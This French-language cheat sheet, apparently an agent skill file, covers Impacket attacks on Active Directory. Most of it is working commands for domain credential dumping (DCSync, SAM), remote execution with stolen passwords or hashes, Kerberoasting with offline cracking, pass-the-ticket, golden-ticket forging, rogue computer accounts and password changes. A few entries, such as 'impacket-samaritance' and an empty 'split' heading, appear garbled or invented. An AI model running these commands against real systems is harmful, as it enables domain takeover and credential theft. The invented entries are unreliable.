| name | impacket |
| description | Impacket — suite complète d'exploitation AD et Windows (secretsdump, psexec, wmiexec, smbexec, atexec, GetNPUsers, GetUserSPNs, ticket conversion, DCSync, Kerberos), exemples et scénarios de pentest AD. |
Impacket — Suite d'Exploitation Active Directory
Présentation
Impacket est une collection de scripts Python pour interagir avec les protocoles réseau Windows. Indispensable pour le pentest Active Directory.
Installation :
sudo apt install impacket-scripts python3-impacket
pip3 install impacket
git clone https://github.com/fortra/impacket.git
cd impacket && pip3 install .
Scripts disponibles :
ls /usr/share/doc/python3-impacket/examples/ | grep .py
Secretsdump — Extraction de credentials
DCSync (depuis un DC ou un compte avec droits de réplication)
impacket-secretsdump -hashes LMHASH:NTHASH DOMAIN/admin@192.168.1.10
impacket-secretsdump DOMAIN/Admin:Password@192.168.1.10
impacket-secretsdump -hashes :NTHASH DOMAIN/admin@192.168.1.10
impacket-secretsdump -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL
Dump du SAM (local)
impacket-secretsdump -sam /path/to/SAM -system /path/to/SYSTEM LOCAL
impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL
Options avancées
impacket-secretsdump -just-dc-user krbtgt DOMAIN/admin@DC
impacket-secretsdump -just-dc DOMAIN/admin@DC
impacket-secretsdump -history DOMAIN/admin@DC
impacket-secretsdump -k DOMAIN/admin@DC
impacket-secretsdump -dc-ip 192.168.1.10 -p 10 DOMAIN/admin@DC
PsExec — Exécution de commandes (SMB)
Exécution de commandes distante
impacket-psexec DOMAIN/admin:Password@192.168.1.10
impacket-psexec -hashes :NTHASH DOMAIN/admin@192.168.1.10
impacket-psexec DOMAIN/admin:Password@192.168.1.10 whoami
impacket-psexec -hashes :NTHASH admin@192.168.1.10 cmd.exe
WMIExec — Exécution via WMI (plus furtif)
impacket-wmiexec DOMAIN/admin:Password@192.168.1.10
impacket-wmiexec -hashes :NTHASH DOMAIN/admin@192.168.1.10
impacket-wmiexec DOMAIN/admin:Password@192.168.1.10 ipconfig
SMBExec — Exécution discrète
impacket-smbexec DOMAIN/admin:Password@192.168.1.10
impacket-smbexec -hashes :NTHASH DOMAIN/admin@192.168.1.10
Atexec — Exécution via Scheduled Tasks
impacket-atexec DOMAIN/admin:Password@192.168.1.10 whoami
impacket-atexec -hashes :NTHASH DOMAIN/admin@192.168.1.10
DCOMExec — Exécution via DCOM
impacket-dcomexec DOMAIN/admin:Password@192.168.1.10
impacket-dcomexec -object ShellWindows DOMAIN/admin:Password@192.168.1.10
impacket-dcomexec -object ShellBrowserWindow DOMAIN/admin:Password@192.168.1.10
impacket-dcomexec -object ExcelDDE DOMAIN/admin:Password@192.168.1.10
Kerberos — Attaques
AS-REP Roasting (GetNPUsers)
impacket-GetNPUsers DOMAIN/ -dc-ip 192.168.1.10 -usersfile users.txt
impacket-GetNPUsers DOMAIN/user:Password@192.168.1.10
impacket-GetNPUsers DOMAIN/ -dc-ip 192.168.1.10 -format hashcat
impacket-GetNPUsers DOMAIN/ -dc-ip 192.168.1.10 -format john
impacket-GetNPUsers DOMAIN/ -dc-ip 192.168.1.10 -request
Kerberoasting (GetUserSPNs)
impacket-GetUserSPNs DOMAIN/user:Password@192.168.1.10
impacket-GetUserSPNs -hashes :NTHASH DOMAIN/user@192.168.1.10
impacket-GetUserSPNs DOMAIN/user:Password@192.168.1.10 \
-outputfile kerberos_hashes.txt
hashcat -m 13100 kerberos_hashes.txt rockyou.txt
john --format=krb5tgs kerberos_hashes.txt --wordlist=rockyou.txt
Ticket conversion (ticketConverter)
impacket-ticketConverter /path/to/ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass DOMAIN/admin@target
Pass-the-Ticket
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/path/to/ticket.ccache
impacket-wmiexec -k -no-pass DOMAIN/admin@192.168.1.10
Découverte d'utilisateurs (lookupsid)
impacket-lookupsid DOMAIN/admin:Password@192.168.1.10 500-1000
impacket-lookupsid -hashes :NTHASH DOMAIN/admin@192.168.1.10 0-10000
SMB — Énumération et exploitation
SMB client
impacket-smbclient DOMAIN/admin:Password@192.168.1.10
impacket-smbclient -hashes :NTHASH admin@192.168.1.10
SMB Server
impacket-smbserver SHARE_NAME /tmp/share
impacket-smbserver SHARE_NAME /tmp/share -smb2support
impacket-smbserver SHARE_NAME /tmp/share -user admin -password Password123
net use Z: \\192.168.1.50\SHARE_NAME
Pass-the-Hash avec différents scripts
impacket-psexec -hashes :NTHASH admin@192.168.1.10
impacket-wmiexec -hashes :NTHASH admin@192.168.1.10
impacket-smbexec -hashes :NTHASH admin@192.168.1.10
impacket-atexec -hashes :NTHASH admin@192.168.1.10
impacket-dcomexec -hashes :NTHASH admin@192.168.1.10
impacket-mimikatz -hashes :NTHASH admin@192.168.1.10
Mimikatz (via Impacket)
impacket-mimikatz DOMAIN/admin:Password@192.168.1.10
Requêtes MSRPC
impacket-rpcdump 192.168.1.10
impacket-rpcdump 192.168.1.10 -port 135
impacket-rpcdump 192.168.1.10 -port 135 | grep -i printer
impacket-rpcdump 192.168.1.10 -port 135 | grep -i efs
Autres scripts utiles
Enum4linux
enum4linux -a 192.168.1.10
Samaritance (récupération de hash SAM)
impacket-samaritance DOMAIN/admin:Password@192.168.1.10
split (découpage de fichiers)
GetADUsers
impacket-GetADUsers -all DOMAIN/admin:Password@192.168.1.10
impacket-GetADUsers DOMAIN/user:Password@192.168.1.10
ticketer (forger des tickets)
impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <SID> \
-domain DOMAIN Administrator
impacket-ticketer -nthash <SERVICE_HASH> -domain-sid <SID> \
-domain DOMAIN -spn cifs/target Administrator
addcomputer
impacket-addcomputer -computer-name 'EVIL$' -computer-pass 'Password123' \
DOMAIN/user:Password@192.168.1.10
changepassword
impacket-changepassword DOMAIN/admin:OldPass@192.168.1.10 \
-newpass NewPass -target DOMAIN\targetuser
Scénarios complets
1. Dump complet du domaine (DCSync)
impacket-secretsdump DOMAIN/Admin:Password@192.168.1.10
2. Kerberoasting + Crack
impacket-GetUserSPNs DOMAIN/user:Password@192.168.1.10 \
-outputfile kerb_hashes.txt
hashcat -m 13100 kerb_hashes.txt rockyou.txt
john --format=krb5tgs kerb_hashes.txt --wordlist=rockyou.txt
3. Pass-the-Hash + PsExec
impacket-psexec -hashes :NTHASH admin@192.168.1.10
impacket-wmiexec -hashes :NTHASH admin@192.168.1.10
4. Découverte complète d'un domaine
impacket-GetADUsers -all DOMAIN/user:Password@192.168.1.10
impacket-lookupsid DOMAIN/user:Password@192.168.1.10 0-10000
impacket-GetUserSPNs DOMAIN/user:Password@192.168.1.10 -outputfile kerb.txt
impacket-GetNPUsers DOMAIN/ -dc-ip 192.168.1.10 -usersfile users.txt
impacket-secretsdump DOMAIN/Admin:Password@192.168.1.10
Antisèche rapide
impacket-secretsdump DOMAIN/admin:Password@DC
impacket-psexec DOMAIN/admin:Password@target cmd.exe
impacket-wmiexec DOMAIN/admin:Password@target
impacket-GetUserSPNs DOMAIN/user:Password@DC -outputfile hashes.txt
impacket-GetNPUsers DOMAIN/ -dc-ip DC -usersfile users.txt
impacket-psexec -hashes :NTHASH admin@target
impacket-dcomexec DOMAIN/admin:Password@target
impacket-lookupsid DOMAIN/admin:Password@DC 0-10000
impacket-smbclient DOMAIN/admin:Password@target
impacket-smbserver SHARE /tmp/share -smb2support